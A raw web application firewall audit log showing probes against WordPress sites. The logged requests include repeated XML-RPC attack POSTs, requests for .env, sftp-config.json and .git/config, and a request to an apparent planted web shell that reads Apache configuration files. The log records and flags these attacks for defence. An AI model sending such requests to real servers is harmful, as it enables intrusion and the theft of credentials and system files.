"5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Fj1LyTgTLRBnIBDZluwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041999316783 1075027 (- - -) Stopwatch2: 1750041999316783 1075027; combined=2874, p1=455, p2=2030, p3=41, p4=66, p5=175, sr=117, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b874f6a-Z-- --446f2a21-A-- [16/Jun/2025:08:17:04.825328 +0530] aE-FproFnONBt7jRcByfSAAAAA4 103.26.143.47 37420 127.0.0.1 7081 --446f2a21-B-- GET /sftp-config.json HTTP/1.0 Host: www.tandonamit.com X-Real-IP: 103.26.143.47 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Accept-Encoding: gzip, br, deflate --446f2a21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.tandonamit.com/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 28835 Connection: close Content-Type: text/html; charset=UTF-8 --446f2a21-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.tandonamit.com"] [uri "/sftp-config.json"] [unique_id "aE-FproFnONBt7jRcByfSAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/tandonamit.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042022996652 1828752 (- - -) Stopwatch2: 1750042022996652 1828752; combined=1769, p1=389, p2=1289, p3=0, p4=0, p5=91, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --446f2a21-Z-- --2e51c47c-A-- [16/Jun/2025:08:17:40.194044 +0530] aE-Fy1LyTgTLRBnIBDZl2wAAAAM 128.199.112.101 34072 127.0.0.1 7081 --2e51c47c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2e51c47c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2e51c47c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Fy1LyTgTLRBnIBDZl2wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042059220530 973576 (- - -) Stopwatch2: 1750042059220530 973576; combined=2436, p1=455, p2=1596, p3=40, p4=65, p5=175, sr=140, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e51c47c-Z-- --61c11901-A-- [16/Jun/2025:08:17:59.305490 +0530] aE-F3eOzMRjUd1ppiI2x1AAAAAQ 181.214.173.7 44292 127.0.0.1 7081 --61c11901-B-- GET /.env HTTP/1.0 Host: cstechnew.cstechns.com X-Real-IP: 181.214.173.7 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: */* Server: nginx Date: Mon, 16 Jun 2025 02:47:56 GMT X-Powered-By: PHP/8.3.22, PleskLin Link: <https://cstechnew.cstechns.com/wp-json/>; rel="https://api.w.org/", <https://cstechnew.cstechns.com/wp-json/wp/v2/pages/22708>; rel="alternate"; title="JSON"; type="application/json", <https://cstechnew.cstechns.com/>; rel=shortlink Vary: Accept-Encoding Content-Encoding: gzip --61c11901-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cstechnew.cstechns.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --61c11901-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cstechnew.cstechns.com"] [uri "/.env"] [unique_id "aE-F3eOzMRjUd1ppiI2x1AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/cstechnew.cstechns.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042077858313 1447277 (- - -) Stopwatch2: 1750042077858313 1447277; combined=1910, p1=346, p2=1432, p3=0, p4=0, p5=131, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61c11901-Z-- --fe44ac6a-A-- [16/Jun/2025:08:18:40.009201 +0530] aE-GB_rb_uQIHEwgEhzgmAAAAAA 128.199.112.101 50856 127.0.0.1 7081 --fe44ac6a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fe44ac6a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fe44ac6a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-GB_rb_uQIHEwgEhzgmAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042119049852 959415 (- - -) Stopwatch2: 1750042119049852 959415; combined=2236, p1=351, p2=1519, p3=40, p4=56, p5=168, sr=91, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe44ac6a-Z-- --c5ad674d-A-- [16/Jun/2025:08:19:03.719556 +0530] aE-GHmNXGoXEiFtxpULtNgAAAAU 181.214.173.7 40184 127.0.0.1 7081 --c5ad674d-B-- GET /.env HTTP/1.0 Host: cstechnew.cstechns.com X-Real-IP: 181.214.173.7 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: */* Server: nginx Date: Mon, 16 Jun 2025 02:49:01 GMT X-Powered-By: PHP/8.3.22, PleskLin Link: <https://cstechnew.cstechns.com/wp-json/>; rel="https://api.w.org/", <https://cstechnew.cstechns.com/wp-json/wp/v2/pages/22708>; rel="alternate"; title="JSON"; type="application/json", <https://cstechnew.cstechns.com/>; rel=shortlink Vary: Accept-Encoding Content-Encoding: gzip --c5ad674d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cstechnew.cstechns.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --c5ad674d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cstechnew.cstechns.com"] [uri "/.env"] [unique_id "aE-GHmNXGoXEiFtxpULtNgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/cstechnew.cstechns.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042142280821 1438813 (- - -) Stopwatch2: 1750042142280821 1438813; combined=2139, p1=458, p2=1582, p3=0, p4=0, p5=99, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5ad674d-Z-- --5acb136e-A-- [16/Jun/2025:08:19:40.561349 +0530] aE-GQ1Vp19vSg8MbnETofAAAAAI 128.199.112.101 58498 127.0.0.1 7081 --5acb136e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5acb136e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5acb136e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-GQ1Vp19vSg8MbnETofAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042179583727 977689 (- - -) Stopwatch2: 1750042179583727 977689; combined=3172, p1=571, p2=2215, p3=43, p4=61, p5=175, sr=162, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5acb136e-Z-- --f1f63215-A-- [16/Jun/2025:08:20:40.730305 +0530] aE-GfwS4XDlCv3KXioQP9AAAAAY 128.199.112.101 51614 127.0.0.1 7081 --f1f63215-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f1f63215-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f1f63215-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-GfwS4XDlCv3KXioQP9AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042239803689 926700 (- - -) Stopwatch2: 1750042239803689 926700; combined=2324, p1=393, p2=1569, p3=42, p4=61, p5=161, sr=107, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1f63215-Z-- --d0d4fd15-A-- [16/Jun/2025:08:21:40.790931 +0530] aE-GvL-GHz_IIxWr6ZuFfQAAAAg 216.73.216.83 33392 127.0.0.1 7081 --d0d4fd15-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fdeflate.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --d0d4fd15-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3128 Connection: close Content-Type: text/html; charset=UTF-8 --d0d4fd15-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/deflate.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/deflate.conf found within ARGS:viewfile: /etc/apache2/mods-available/deflate.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/deflate.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/deflate.conf found within ARGS:viewfile: /etc/apache2/mods-available/deflate.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-GvL-GHz_IIxWr6ZuFfQAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042300786840 4157 (- - -) Stopwatch2: 1750042300786840 4157; combined=2192, p1=352, p2=1725, p3=30, p4=34, p5=51, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0d4fd15-Z-- --16135d17-A-- [16/Jun/2025:08:21:40.901353 +0530] aE-Gu-OzMRjUd1ppiI2yUAAAAAQ 128.199.112.101 33284 127.0.0.1 7081 --16135d17-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --16135d17-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --16135d17-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Gu-OzMRjUd1ppiI2yUAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042299947732 953694 (- - -) Stopwatch2: 1750042299947732 953694; combined=2863, p1=524, p2=1916, p3=40, p4=58, p5=205, sr=141, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16135d17-Z-- --1ad0b306-A-- [16/Jun/2025:08:22:32.142797 +0530] aE-G7gS4XDlCv3KXioQQMgAAAAY 103.26.143.47 52950 127.0.0.1 7081 --1ad0b306-B-- GET /.git/config HTTP/1.0 Host: www.tandonamit.com X-Real-IP: 103.26.143.47 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Accept-Encoding: gzip, br, deflate --1ad0b306-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.tandonamit.com/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 28837 Connection: close Content-Type: text/html; charset=UTF-8 --1ad0b306-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.tandonamit.com"] [uri "/.git/config"] [unique_id "aE-G7gS4XDlCv3KXioQQMgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/tandonamit.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042350321477 1821405 (- - -) Stopwatch2: 1750042350321477 1821405; combined=1988, p1=402, p2=1482, p3=0, p4=0, p5=103, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ad0b306-Z-- --7fcad21f-A-- [16/Jun/2025:08:22:40.688367 +0530] aE-G97oFnONBt7jRcByf-QAAAA4 128.199.112.101 33280 127.0.0.1 7081 --7fcad21f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7fcad21f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7fcad21f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-G97oFnONBt7jRcByf-QAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042359608861 1079596 (- - -) Stopwatch2: 1750042359608861 1079596; combined=167254, p1=434, p2=1915, p3=45, p4=68, p5=82432, sr=117, sw=125, l=0, gc=82235 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fcad21f-Z-- --6bdfb15a-A-- [16/Jun/2025:08:23:40.294041 +0530] aE-HM0N_xpBAtP8SIP1B3gAAAAo 128.199.112.101 58322 127.0.0.1 7081 --6bdfb15a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6bdfb15a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6bdfb15a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-HM0N_xpBAtP8SIP1B3gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042419278127 1015970 (- - -) Stopwatch2: 1750042419278127 1015970; combined=2408, p1=369, p2=1668, p3=42, p4=62, p5=164, sr=102, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6bdfb15a-Z-- --f01f6968-A-- [16/Jun/2025:08:24:40.760150 +0530] aE-Hb1Vp19vSg8MbnETpFgAAAAI 128.199.112.101 52012 127.0.0.1 7081 --f01f6968-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f01f6968-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f01f6968-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Hb1Vp19vSg8MbnETpFgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042479824592 935618 (- - -) Stopwatch2: 1750042479824592 935618; combined=2243, p1=365, p2=1509, p3=42, p4=59, p5=169, sr=101, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f01f6968-Z-- 